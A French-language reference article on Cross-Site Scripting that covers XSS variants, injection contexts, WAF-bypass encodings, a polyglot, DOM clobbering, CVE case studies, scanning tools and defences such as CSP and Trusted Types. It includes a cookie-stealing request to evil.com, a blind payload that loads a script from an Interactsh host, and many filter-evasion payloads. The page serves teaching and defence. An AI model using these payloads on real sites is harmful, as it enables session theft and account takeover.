XSS (CWE-79, OWASP A03:2021) : injection de JavaScript dans les pages servies à d'autres utilisateurs — vol de session, collecte d'identifiants et prise de contrôle de compte.
TL;DR
unsafe-inline, rendant le CSP inefficace sans Trusted TypesLe Cross-Site Scripting (XSS) est une vulnérabilité d'injection côté client où des données contrôlées par l'utilisateur sont intégrées dans une page HTML sans encodage adapté au contexte, amenant le navigateur à analyser le balisage fourni par l'attaquant comme du code exécutable (CWE-79 : Neutralisation incorrecte des entrées lors de la génération de page web). Le script injecté s'exécute sous l'origine du site vulnérable — héritant de ses cookies, tokens localStorage, accès DOM et de la capacité d'effectuer des requêtes de même origine pleinement authentifiées pour le compte de la victime.
Le XSS est catégoriquement distinct de l'injection SQL (couche de données côté serveur), du SSRF (falsification de requête côté serveur) et du CSRF (requêtes falsifiées cross-origin). En CSRF, l'attaquant force le navigateur à envoyer une requête forgée mais ne peut pas lire la réponse. En XSS, le script de l'attaquant s'exécute avec un accès complet de même origine en lecture/écriture — faisant du XSS un sur-ensemble qui peut réaliser n'importe quel CSRF comme l'un de ses primitifs.
CWE-79 s'est classé #1 au MITRE/CISA CWE Top 25 des faiblesses les plus dangereuses (2024, score 56,92) — en hausse par rapport au #2 en 2023 — et #1 à nouveau en 2025 (score 60,38). Le XSS représente 20 % de toutes les divulgations de vulnérabilités signalées sur HackerOne. Les 8 000+ entrées CVE CWE-79 dans la base de données CVE 2025 font du XSS la classe de vulnérabilité côté client la plus documentée. OWASP place l'injection en A03:2021, dont le XSS est le membre le plus répandu.
La cause fondamentale est l'absence d'encodage ou un encodage inadapté au contexte au point où les données utilisateur entrent dans un document HTML. Le parseur HTML du navigateur ne peut pas distinguer le balisage prévu par le développeur du balisage injecté par l'attaquant — il analyse les deux.
L'attaque se déroule en quatre étapes :
Un XSS réfléchi minimal — un endpoint de recherche qui reflète le paramètre de requête brut :
GET /search?q="><script>document.location='https://evil.com/steal?c='+document.cookie</script>
Host: vulnerable.example.com<!-- Réponse du serveur (réflexion non encodée) : -->
<p>Résultats pour : "><script>document.location='https://evil.com/steal?c='+document.cookie</script></p>Le " ferme l'attribut et > ferme la balise, faisant tomber le script dans le corps HTML où il s'exécute immédiatement au parsing.
| Variante | Persistance | CVSS | Interaction victime | Page dédiée |
|---|---|---|---|---|
| Réfléchi | Aucune (URL uniquement) | 6.1 Moyen | Requise (clic sur lien) | /learn/xss-reflected |
| Stocké | Base de données / store persistant | Jusqu'à 9.3 Critique | Aucune après stockage | /learn/xss-stored |
| Basé sur le DOM | Aucune (côté client uniquement) | 6.1 Moyen | Requise (visiter URL) | /learn/xss-dom |
| À l'aveugle | Panneau admin / outil interne | 9.1 Critique | Aucune (vue admin asynchrone) | /learn/xss-blind |
| Mutation (mXSS) | Dépend de la variante hôte | 6.1–9.0 | Dépend | /learn/xss-mutation |
| Auto-XSS | Aucune | Faible | Manipulation sociale | — |
Le XSS réfléchi (Type-1) vit dans la requête HTTP. Le payload dans le paramètre de requête ?q=<script>... est réfléchi dans le HTML de réponse. Nécessite une livraison via URL de phishing ou redirection malveillante. Contourne les cookies SameSite car la victime navigue directement vers l'URL de l'attaquant — pas de requête cross-origin, pas de déclenchement CSRF.
Le XSS stocké (Type-2) écrit le payload dans un store persistant (champ de commentaire en base de données, biographie de profil utilisateur, journal webhook). Chaque chargement de page ultérieur récupère et rend le payload. Quand les panneaux d'administration affichent du contenu utilisateur stocké sans encodage, le XSS stocké devient une prise de contrôle de compte pour tous les administrateurs. CVE-2024-49038 (Microsoft Copilot Studio, CVSS 9.3) a exploité précisément ce schéma à l'échelle cloud.
Le XSS basé sur le DOM (Type-0) s'exécute côté client sans que le serveur voie le payload. JavaScript lit depuis une source (location.hash, document.referrer, données postMessage, localStorage) et écrit dans un sink (innerHTML, eval(), document.write(), setTimeout(string)) sans sanitization. Le schéma de sink Function(str)() a causé CVE-2024-4367 dans PDF.js (CVSS 8.8, ~2,7 millions de téléchargements NPM hebdomadaires).
Le XSS à l'aveugle se déclenche dans un panneau d'administration ou un outil interne que l'attaquant ne peut pas observer directement. L'attaquant injecte un payload dans un ticket de support, une note de commande ou un en-tête User-Agent et attend un callback hors-bande quand un utilisateur privilégié ouvre la page. XSS Hunter Express, Burp Collaborator et Interactsh implémentent tous le même modèle OOB : token unique par injection dans l'URL de callback, registre côté serveur, livraison asynchrone.
Le XSS par mutation exploite des différentiels de parseur. Un sanitizer marque une entrée comme sûre après un seul passage de parsing. Quand la sortie sanitisée est assignée à innerHTML, le navigateur la re-parse dans un contexte de namespace différent — SVG, MathML ou points d'intégration HTML — produisant un DOM différent contenant du JavaScript exécutable. DOMPurify ≤3.1.2 contenait quatre chaînes mXSS distinctes, toutes exploitant la confusion de frontière de namespace.
Le format du payload qui provoque l'exécution dépend du contexte de rendu. Soumettre la même chaîne dans des contextes différents nécessite des stratégies de contournement d'encodage entièrement différentes.
| Contexte | Exemple | Technique de sortie | Encodage qui bloque |
|---|---|---|---|
| Corps HTML | <p>USER</p> | <script>alert(1)</script> | Entités HTML pour <>&"' |
| Attribut HTML (double guillemet) | <input value="USER"> | " onfocus=alert(1) x=" | Encoder tous les non-alphanumériques |
| Attribut HTML (guillemet simple) | <input value='USER'> | ' onfocus=alert(1) x=' | Même |
| Attribut HTML (sans guillemet) | <input value=USER> | autofocus onfocus=alert(1)// | Même |
| Chaîne JavaScript | var x = "USER"; | ";alert(1);// | Encodage hexadécimal JS \xHH |
| Template literal JavaScript | var x = `USER`; | ${alert(1)} | Même |
| URL / href | <a href="USER"> | javascript:alert(1) | URL-encode puis HTML-encode |
| CSS | color: USER | }body{background:url(//evil)} | Encodage hexadécimal CSS \HH |
| Attribut SVG | <svg><text>USER</text> | <script>alert(1)</script> | DOMPurify namespace SVG |
| Moteur de template | {{ USER }} | Dépend du moteur | Auto-échappement ou filtre e |
Nouveaux gestionnaires d'événements (2024–2025) qui contournent les filtres ciblant les classiques onerror/onload :
<xss oncontentvisibilityautostatechange=alert(1) style=content-visibility:auto>
<xss id=x onbeforematch=alert(1) hidden=until-found>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>Les filtres XSS standards qui bloquent <script>, alert( ou les gestionnaires d'événements connus sont contournés par l'encodage, l'obfuscation et la mutation du payload.
Contournements d'encodage :
<script> Entité HTML hex — contourne les filtres de correspondance de chaînes
%3Cscript%3E Encodage URL — contourne les filtres non URL-aware
%253Cscript%253E Double encodage URL — contourne les filtres à décodage unique
<script> Unicode pleine largeur (U+FF1C, U+FF1E) — normalisation NFKC
eval(atob('PHNjcmlwdD4...')) Base64 + eval — contourne les filtres sur "alert", "script"
\x61\x6c\x65\x72\x74(1) Échappements hexadécimaux JS — contourne les filtres sur les noms de fonctionsObfuscation de fonctions pour contourner les blocages sur les mots-clés eval( et alert( :
alert`1` // invocation par template literal
window['alert'](0) // notation entre crochets
[].constructor.constructor('alert(1)')() // constructeur Function
<script>onerror=alert;throw 1337</script> // appel implicite via throwMagic 7 polyglottes — USENIX Security 2024 (Kirchner et al.) : Des chercheurs ont utilisé la recherche arborescente Monte Carlo pour synthétiser 7 payloads polyglottes couvrant tous les contextes d'injection majeurs (corps HTML, attribut guillemet simple/double, chaîne JavaScript, URL, CSS, template literal). Validés sur le Tranco Top 100 000 : 20 vulnérabilités découvertes dans 18 systèmes backend. Un seul polyglotte comme celui ci-dessous se déclenche dans les contextes corps HTML, attribut et chaîne JavaScript sans modification :
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3eLe DOM clobbering utilise des éléments HTML nommés pour masquer des variables JavaScript globales — sans aucune balise <script> :
<!-- Pour le code : var url = window.config.cdn; -->
<a id="config"><a id="config" name="cdn" href="https://attacker.com/malicious.js">CVE-2024-7524 (Firefox, contournement CSP strict-dynamic) : le shim ETP du SDK Facebook lit document.currentScript.src sans vérification tagName. Injecter <img name="currentScript" src="data:,alert(document.domain)"> fait que le shim traite l'URI data: comme un script enfant de confiance avec nonce.
Prototype pollution → XSS : polluer Object.prototype avec des propriétés contrôlées par l'attaquant peut remplacer la configuration interne de DOMPurify, désactivant la sanitization. CVE-2026-41238 (DOMPurify 3.0.1–3.3.3) : Object.prototype.tagNameCheck = /.*/ fait passer tous les éléments par la vérification de liste blanche — transformant n'importe quelle source de prototype pollution dans l'application en contournement XSS complet au niveau du sanitizer.
| CVE | Produit | CVSS | Variante | Statut |
|---|---|---|---|---|
| CVE-2024-49038 | Microsoft Copilot Studio | 9.3 Critique | Stocké / postMessage | Corrigé Nov 2024 |
| CVE-2024-4367 | Mozilla PDF.js / Firefox | 8.8 Élevé | DOM (sink new Function()) | Corrigé Firefox 126 |
| CVE-2024-37383 | Roundcube Webmail | 6.1 Moyen | Stocké (SVG animate) | CISA KEV |
| CVE-2024-2194 | WP Statistics (600K installs) | 7.2 Élevé | Stocké (non authentifié) | Exploité massivement |
| CVE-2023-40000 | LiteSpeed Cache (5M installs) | 8.8 Élevé | Stocké (non authentifié) | Exploité massivement 2024 |
| CVE-2024-0007 | PAN-OS Panorama | 9.0 Critique | Stocké (panneau admin) | Corrigé Jan 2024 |
| CVE-2024-0010 | PAN-OS GlobalProtect | 8.2 Élevé | Réfléchi | Corrigé Jan 2024 |
| CVE-2024-47875 | DOMPurify ≤3.1.2 | 10.0 Critique | mXSS (confusion namespace) | Corrigé 3.4.0 |
CVE-2024-49038 — Microsoft Copilot Studio (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
Une sanitization insuffisante lors de la génération de pages web permettait à des attaquants non authentifiés d'injecter des scripts dans les sessions utilisateurs authentifiées via postMessage / injection DOM. Combiné à l'absence d'application des Trusted Types, le script s'exécutait dans le contexte de tenant Microsoft 365 authentifié — permettant le vol de session et le mouvement latéral cross-tenant. Microsoft a corrigé le 26 novembre 2024 (Patch Tuesday).
CVE-2024-4367 — PDF.js exécution JavaScript arbitraire (CVSS 8.8)
Le pipeline de rendu de polices de PDF.js compilait les instructions de glyphes dans des corps new Function(...). Un tableau FontMatrix dans les métadonnées PDF — entièrement contrôlable par le créateur du PDF — était inséré brut dans le corps de la fonction sans validation de type. Injecter une valeur de chaîne fermait l'appel de transformation et ajoutait du JavaScript arbitraire. Périmètre : ~2,7 millions de téléchargements NPM hebdomadaires de pdfjs-dist, toutes les versions Firefox en dessous de 126, toutes les applications Electron embarquant PDF.js. Découverte : Codean Labs / Thomas Rinsma, divulguée le 26 avril 2024.
CVE-2024-37383 — Roundcube Webmail SVG animate (CISA KEV)
Le sanitizer HTML rcube_washer de Roundcube ne supprimait pas les valeurs d'attributs <animate> SVG préfixées d'espaces. Le payload <svg><animate attributeName=" onbegin" values="alert(1)" dur="1s"/> préfixe d'un espace onbegin, contournant la vérification de liste noire d'attributs. La vulnérabilité a été activement exploitée contre des organisations gouvernementales dans les pays de la CEI lors de campagnes de phishing sponsorisées par des États avant que la CISA ne l'ajoute au catalogue KEV (24 octobre 2024).
Divulgations HackerOne : HackerOne #3357808 — XSS stocké Nextcloud via upload de fichier SVG (prime 150 $). HackerOne #2257080 — XSS stocké GitLab via pipeline Banzai (filtre de référence abstraite dans le rendu Markdown). HackerOne #3293290 — XSS stocké Nextcloud Contacts via SVG dans une fiche contact (prime 100 $). HackerOne #3045455 — XSS réfléchi Autodesk via SVG servi en image/svg+xml.
q, search, id, redirect, next), champs de corps POST, en-têtes HTTP (User-Agent, Referer, X-Forwarded-For), champs texte JSON (comment, description, title, body), métadonnées de fichiers uploadés.xss"'<> dans chaque paramètre. Inspecter la réponse — identifier le contexte d'injection (corps HTML, attribut double guillemet, attribut sans guillemet, chaîne JavaScript, URL).<img src=x onerror=alert(document.domain)>" onfocus=alert(1) autofocus x="';alert(1);//javascript:alert(document.domain)location.hash=#xss"'<> et inspecter le DOM dans les DevTools du navigateur — tracer où la valeur du hash est lue. Utiliser Burp DOM Invader pour le suivi automatique source→sink."><script src="https://VOTRE.interactsh.com/COLLAB"></script> dans chaque entrée de texte libre, puis surveiller votre écouteur OOB pour les callbacks.Dalfox — scanner XSS basé sur les paramètres avec support du XSS à l'aveugle et analyse DOM :
# XSS réfléchi — URL unique
dalfox url "https://target.com/search?q=test" --blind https://VOTRE.interactsh.com/COLLAB
# XSS stocké — fournir une URL de lecture après écriture
dalfox url "https://target.com/profile" --data "bio=TEST" \
--follow-redirects --waf-evasionBurp DOM Invader instrumente le Chromium embarqué de Burp pour tracer tous les flux source→sink lors de la navigation manuelle, détecter les gestionnaires postMessage sans vérifications event.origin, et générer des payloads PoC adaptés au contexte pour les sinks identifiés. C'est l'outil standard actuel pour la découverte de XSS DOM.
Semgrep SAST (semgrep --config p/xss) signale les assignations innerHTML avec des sources contrôlées par l'utilisateur, les schémas de templates dangereux (EJS <%-, triple moustache Handlebars) et les échappatoires framework au moment de la CI. CodeQL fournit une analyse complète du flux de données cross-fonctions pour les chemins de contamination complexes. Aucun outil ne détecte le XSS DOM depuis des bundles minifiés ou du code généré à l'exécution — compléter le SAST avec du DAST basé sur navigateur sans tête.
BreachVex détecte le XSS via plusieurs techniques complémentaires : un pré-filtrage d'encodage qui classifie le contexte de réflexion (et ignore la confirmation en navigateur pour les réflexions entièrement encodées), l'injection de canary avec payloads adaptés au contexte, le suivi de contamination source→sink dans un navigateur instrumenté, et la corrélation de XSS à l'aveugle hors-bande via un registre de tokens couvrant plusieurs jours.
L'encodage de sortie est la défense principale, non négociable. Le schéma d'encodage dépend du contexte de rendu — appliquer l'encodage HTML à un contexte de chaîne JavaScript laisse l'injection exploitable.
| Contexte | Encodage sûr | API sûre |
|---|---|---|
| Corps HTML | & < > " ' → entités | element.textContent, markupsafe.escape() |
| Attribut HTML | Tous non-alphanumériques → &#xHH; | Auto-échappement du moteur de templates |
| Chaîne JavaScript | Tous non-alphanumériques → \xHH | JSON.stringify() |
| Paramètre URL | Encodage pourcentage RFC 3986 | encodeURIComponent() |
| Valeur CSS | Tous non-alphanumériques → \HH | Bibliothèques CSS-escape |
Les deux règles critiques de l'OWASP : encoder à la sortie (pas à l'entrée, pour éviter le double-encodage) ; ne jamais placer des données utilisateur dans des contextes intrinsèquement dangereux (corps de <script> inline, attributs de gestionnaires d'événements inline, nœuds de commentaires HTML, blocs CSS <style>) — même avec encodage, ces contextes sont sources d'erreurs.
// SÛRS — JSX encode automatiquement toutes les expressions
const App = ({ name }) => <div>Bonjour {name}</div>;
// VULNÉRABLE — dangerouslySetInnerHTML désactive complètement l'encodage React
<div dangerouslySetInnerHTML={{ __html: userInput }} />
// SÛR — dangerouslySetInnerHTML avec DOMPurify (assurer >= 3.4.0)
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />Éviter de passer des données sensibles comme pageProps Next.js — la balise script __NEXT_DATA__ complète est intégrée dans la réponse HTML, lisible par tout script s'exécutant sur la page.
<!-- SÛR — l'interpolation de texte encode automatiquement -->
<div>{{ userInput }}</div>
<!-- VULNÉRABLE — v-html rend le HTML brut -->
<div v-html="userInput"></div>
<!-- SÛR — v-html avec sanitizer -->
<script>import DOMPurify from 'dompurify';</script>
<div v-html="DOMPurify.sanitize(userInput)"></div>// SÛR — le binding de template Angular sanitise [innerHTML]
@Component({ template: '<div [innerHTML]="trustedContent"></div>' })
// VULNÉRABLE — contourne entièrement DomSanitizer
safeHTML = this.sanitizer.bypassSecurityTrustHtml(userInput);
// CVE-2025-66412 (Angular < 19.2.17) : xlink:href SVG non sanitisé
// VULNÉRABLE dans Angular < 19.2.17 :
// <svg><a [attr.xlink:href]="userUrl"><text>cliquer</text></a></svg>
// Sûr : valider userUrl contre une liste d'autorisation, ou utiliser [routerLink]<!-- SÛR — Svelte encode automatiquement par défaut -->
{userInput}
<!-- VULNÉRABLE — {@html} contourne l'encodage -->
{@html userInput}// VULNÉRABLE — interpolation de chaîne brute dans Express
app.get('/search', (req, res) => {
res.send(`<p>Résultats pour : ${req.query.q}</p>`);
});
// SÛR — markupsafe (Python) ou escape-html (Node.js)
const escapeHtml = require('escape-html');
res.send(`<p>Résultats pour : ${escapeHtml(req.query.q)}</p>`);Content-Security-Policy:
default-src 'none';
script-src 'nonce-ALEATOIRE_PAR_REQUETE' 'strict-dynamic';
style-src 'nonce-ALEATOIRE_PAR_REQUETE';
img-src https: data:;
base-uri 'none';
object-src 'none';
form-action 'self';
require-trusted-types-for 'script';
trusted-types default dompurifyDirectives clés : nonce doit être cryptographiquement aléatoire et changer par réponse (les nonces mis en cache sont volables via dangling markup). strict-dynamic propage la confiance aux scripts chargés dynamiquement depuis des parents de confiance nonce — rendant le CSP pratique sans lister des domaines CDN. base-uri 'none' bloque l'injection de balise base. object-src 'none' bloque le XSS via plugins.
Les Trusted Types éliminent le XSS DOM au niveau de la plateforme. Appliqués via require-trusted-types-for 'script', le navigateur rejette toutes les assignations de chaînes brutes aux sinks DOM — innerHTML, eval, document.write, setTimeout(string) lancent tous une TypeError pour les valeurs non typées. Les valeurs doivent passer par une politique Trusted Types dont la fonction createHTML doit sanitiser l'entrée. Google les applique sur YouTube (depuis juillet 2024), Microsoft 365, Azure et Stripe. Le W3C recommande les Trusted Types comme défense DOM XSS principale (W3C Blog, 2025). Chrome/Edge les appliquent ; Firefox et Safari sont en cours.
// SÛR — politique DOMPurify + Trusted Types
const policy = trustedTypes.createPolicy('dompurify', {
createHTML: (input) => DOMPurify.sanitize(input, { RETURN_TRUSTED_TYPE: true })
});
element.innerHTML = policy.createHTML(userInput); // OK
element.innerHTML = userInput; // TypeError — bloquéLa « sanitization des entrées » est une défense principale incomplète contre le XSS. Les chaînes de bypass DOMPurify (CVE-2024-47875 : CVSS 10.0, tous DOMPurify < 3.4.0), la pollution de prototype remplaçant la configuration du sanitizer (CVE-2026-41238) et les chaînes de triple-parsing à double sanitization (schéma Mermaid.js) montrent que les bibliothèques de sanitization ont des modes d'échec complexes et dépendants de la version. La sanitization est une couche nécessaire pour le rendu de texte riche — mais toujours combinée avec l'encodage de sortie, les Trusted Types et le CSP. Ne jamais traiter un appel de sanitizer comme une solution complète.
HttpOnly sur les cookies de session empêche l'accès à document.cookie depuis JavaScript, atténuant le vol de session via XSS. Le XSS peut quand même voler des tokens depuis localStorage, exfiltrer du contenu DOM, keylogger des formulaires et effectuer des requêtes authentifiées — HttpOnly est une atténuation, pas une prévention. SameSite=Strict empêche les cookies de session d'être envoyés dans des requêtes cross-origin initiées par des payloads XSS sur des sous-domaines contrôlés par l'attaquant.
Intégrité des sous-ressources (SRI) : ajouter integrity="sha384-..." sur toutes les balises <script> et <link> chargeant des ressources tierces. Un XSS au niveau CDN (l'attaquant compromet le CDN) ne peut pas injecter un script modifié car la vérification de hash échoue.
Qu'est-ce que le Cross-Site Scripting (XSS) ? Le XSS (CWE-79, OWASP A03:2021) est une vulnérabilité d'injection côté client où des données fournies par l'utilisateur sont intégrées dans une page web sans encodage adapté, amenant le navigateur à exécuter du JavaScript contrôlé par l'attaquant sous l'origine du site cible. Ce contexte donne au script accès aux cookies, tokens localStorage, DOM complet et à la capacité d'effectuer des requêtes authentifiées pour le compte de la victime.
Quelle est la différence entre le XSS réfléchi et le XSS stocké ? Le XSS réfléchi s'exécute immédiatement quand une victime clique sur un lien crafté (CVSS 6.1 Moyen). Le XSS stocké persiste dans la base de données du serveur et se déclenche automatiquement pour chaque utilisateur (CVSS jusqu'à 9.3 Critique). Le stocké ne nécessite aucune manipulation sociale après l'injection initiale.
Qu'est-ce que le XSS basé sur le DOM et pourquoi est-il plus difficile à détecter ? Le XSS DOM se produit entièrement dans le navigateur. Le serveur renvoie une réponse propre ; le JavaScript côté client lit depuis une source et écrit dans un sink sans sanitization. Les WAF et outils DAST côté serveur ne voient aucune attaque — la détection nécessite une exécution de navigateur sans tête avec suivi de contamination.
Qu'est-ce que le XSS à l'aveugle et comment est-il détecté ?
Le XSS à l'aveugle se déclenche de façon asynchrone dans un panneau d'administration ou un outil interne. L'attaquant intègre un payload OOB dans un ticket de support, une note de commande ou un en-tête User-Agent et attend un callback. La détection nécessite une infrastructure OOB (XSS Hunter, Burp Collaborator, Interactsh) — les scanners standards ne peuvent pas observer l'exécution différée.
Qu'est-ce que le XSS par mutation (mXSS) ? Le mXSS exploite la non-idempotence du parsing HTML entre les contextes de namespace (HTML / SVG / MathML). Un sanitizer marque une entrée comme sûre ; le navigateur la re-parse et produit un DOM différent contenant du JavaScript exécutable. DOMPurify ≤3.1.2 avait quatre chaînes mXSS distinctes — toutes corrigées dans 3.4.0.
React prévient-il automatiquement le XSS ?
JSX de React encode automatiquement toutes les expressions. La seule échappatoire est dangerouslySetInnerHTML={{ __html: valeur }} — qui désactive l'encodage entièrement. Toujours sanitiser avec DOMPurify ≥3.4.0 avant de passer à cette API.
Quelle est la différence entre XSS et CSRF ? Le CSRF force une requête depuis le navigateur de la victime sans exécuter de JavaScript ni lire de réponses. Le XSS exécute du JavaScript avec un accès complet de même origine — il peut réaliser n'importe quel CSRF comme sous-ensemble de ses capacités.
Comment les Trusted Types préviennent-ils le XSS DOM ?
require-trusted-types-for 'script' fait rejeter par le navigateur toutes les chaînes brutes aux sinks DOM (TypeError). Les valeurs doivent passer par une politique Trusted Types dont la fonction createHTML sanitise l'entrée. Google les applique sur YouTube, Microsoft 365, Azure et Stripe.
Le XSS peut-il contourner la Content Security Policy ?
Oui — via les endpoints JSONP sur les domaines autorisés, l'évaluation des templates AngularJS, le vol de nonce par dangling markup, et unsafe-inline (présent dans 91 % des sites avec CSP). Le CSP est une défense en profondeur, pas une défense principale.
Que peut faire un attaquant avec une vulnérabilité XSS ?
Vol de session, collecte d'identifiants, prise de contrôle de compte, livraison de malware, pivot vers l'intranet (XSS à l'aveugle → fetch() vers des services internes), et compromission admin persistante pour les variantes stockées.
Quel est le score CVSS pour le XSS ? Réfléchi/DOM : 6.1 Moyen (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N). Stocké : jusqu'à 9.3 Critique (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N). CVE-2024-49038 (Copilot Studio) a atteint 9.3 ; CVE-2024-0007 (PAN-OS Panorama) a atteint 9.0.
Un WAF protège-t-il complètement contre le XSS ? Non. Le XSS DOM est entièrement côté client — le payload n'atteint jamais le serveur. Les contournements d'encodage, les gestionnaires d'événements alternatifs et les payloads SVG contournent la plupart des jeux de règles WAF. Les WAF sont une couche de détection ; l'encodage de sortie et les Trusted Types sont les défenses principales.
Quels frameworks préviennent automatiquement le XSS ?
React, Vue, Angular, Svelte et tous les moteurs de templates majeurs auto-encodent la sortie par défaut. Chacun a une échappatoire explicite — dangerouslySetInnerHTML, v-html, bypassSecurityTrustHtml, {@html} — qui contourne entièrement la protection avec des données non sanitisées.
Qu'est-ce que le DOM clobbering ? Le DOM clobbering injecte des éléments HTML nommés qui masquent des variables JavaScript globales, permettant le XSS sans balise script. CVE-2024-7524 (Firefox) a utilisé le DOM clobbering pour contourner le CSP strict-dynamic en faisant charger par le shim SDK Facebook un URI data: comme script enfant de confiance.
Le XSS (CWE-79, OWASP A03:2021) est une vulnérabilité d'injection côté client où des données contrôlées par l'utilisateur sont intégrées dans une page HTML sans encodage de sortie adapté au contexte, amenant le navigateur à exécuter du JavaScript contrôlé par l'attaquant sous l'origine du site cible. Ce contexte d'origine donne au script accès aux cookies, aux tokens localStorage, au DOM complet et à la capacité d'effectuer des requêtes authentifiées de même origine pour le compte de la victime.
Le XSS réfléchi s'exécute immédiatement quand une victime clique sur un lien crafté — le payload vit dans l'URL et n'est jamais stocké (CVSS 6.1 Moyen). Le XSS stocké persiste dans la base de données du serveur et se déclenche automatiquement pour chaque utilisateur qui charge la page concernée (CVSS jusqu'à 9.3 Critique). Le XSS stocké ne nécessite aucune manipulation sociale après l'injection initiale.
Le XSS DOM se produit entièrement dans le navigateur. Le serveur renvoie une réponse propre ; le JavaScript côté client lit depuis une source (location.hash, postMessage, localStorage) et écrit dans un sink (innerHTML, eval) sans sanitization. Les WAF côté serveur et les outils DAST examinant les réponses HTTP ne voient aucune attaque — la détection nécessite une exécution de navigateur sans tête avec suivi de contamination.
Le XSS à l'aveugle est une variante de XSS stocké où le payload se déclenche de façon asynchrone dans un panneau d'administration ou un outil interne que l'attaquant ne peut pas observer directement. L'attaquant intègre un payload qui charge un script hors-bande depuis son écouteur (XSS Hunter, Burp Collaborator, Interactsh). La détection est impossible sans infrastructure de callback OOB — les scanners standards ne peuvent pas observer l'exécution différée.
Le mXSS exploite la non-idempotence du parseur HTML. Un sanitizer juge une entrée sûre après un seul passage de parsing ; le navigateur re-parse la sortie sanitisée dans un contexte de namespace différent (HTML vs. SVG vs. MathML), produisant un DOM différent contenant du JavaScript exécutable. DOMPurify ≤3.1.2 contenait quatre chaînes de bypass mXSS (toutes corrigées dans 3.4.0) exploitant la commutation de namespace, le clobbering du compteur de profondeur et les différentiels de parsing multi-tours.
Le DOM clobbering utilise l'injection HTML pour masquer des variables JavaScript globales avec des éléments DOM. Les éléments nommés (attributs id, name) remplacent les propriétés window : injecter <a id='config'> fait retourner à window.config un HTMLElement au lieu de l'objet attendu. Quand le code de l'application passe la valeur clobbered à un sink DOM, le XSS se déclenche sans aucune balise script. CVE-2024-7524 (Firefox) a démontré une chaîne de DOM clobbering contournant le CSP strict-dynamic.
Vol de session (vol des cookies non-HttpOnly et des tokens depuis localStorage), collecte d'identifiants (keylogging des formulaires de connexion), prise de contrôle de compte (changement d'email/mot de passe via AJAX authentifié), livraison de malware (redirection vers des téléchargements drive-by), pivot vers l'intranet (XSS à l'aveugle → fetch() vers des services internes), et tête de pont persistante pour les variantes stockées (chaque administrateur qui ouvre la page est compromis).
JSX de React encode automatiquement toutes les expressions : {userInput} est sûr. La seule échappatoire est dangerouslySetInnerHTML={{ __html: userInput }} — qui désactive complètement l'encodage de React. Toute valeur non sanitisée passée à cette API cause un XSS. Toujours sanitiser avec DOMPurify ≥3.4.0 avant de passer à cette API. Le même schéma s'applique à Next.js.
Le CSRF force une requête depuis le navigateur de la victime vers un site cible sans exécuter de JavaScript ni lire de réponses. Le XSS exécute du JavaScript avec un accès complet de même origine — il peut réaliser n'importe quelle attaque CSRF comme sous-ensemble de ses capacités.
Enforced via la directive CSP require-trusted-types-for 'script', le navigateur rejette toutes les assignations de chaînes brutes aux sinks DOM — innerHTML, eval, document.write, setTimeout(string) lancent tous une TypeError pour les valeurs non typées. Les valeurs doivent passer par une politique Trusted Types dont la fonction createHTML doit sanitiser l'entrée. Google l'applique sur YouTube, Microsoft 365, Azure et Stripe.
Oui — via les endpoints JSONP sur les domaines autorisés, l'évaluation des templates AngularJS, le vol de nonce par dangling markup, et unsafe-inline (présent dans 91 % des sites avec CSP). Le CSP est une défense en profondeur, pas une défense principale.
Réfléchi/DOM : 6.1 Moyen (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N). Stocké : jusqu'à 9.3 Critique (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N). CVE-2024-49038 (Copilot Studio) a atteint 9.3 ; CVE-2024-0007 (PAN-OS Panorama) a atteint 9.0.
Non. Le XSS DOM est entièrement côté client — le payload n'atteint jamais le serveur. Les contournements d'encodage, les gestionnaires d'événements alternatifs et les payloads d'animation SVG contournent la plupart des jeux de règles WAF. Les WAF sont une couche de détection ; l'encodage de sortie et les Trusted Types sont les défenses principales.
React, Vue, Angular, Svelte et tous les moteurs de templates majeurs (Jinja2, templates Django, double moustache Handlebars) encodent automatiquement la sortie par défaut. Chacun possède une échappatoire explicite — dangerouslySetInnerHTML, v-html, bypassSecurityTrustHtml, {@html} — qui contourne entièrement la protection quand elle est utilisée avec des données non sanitisées.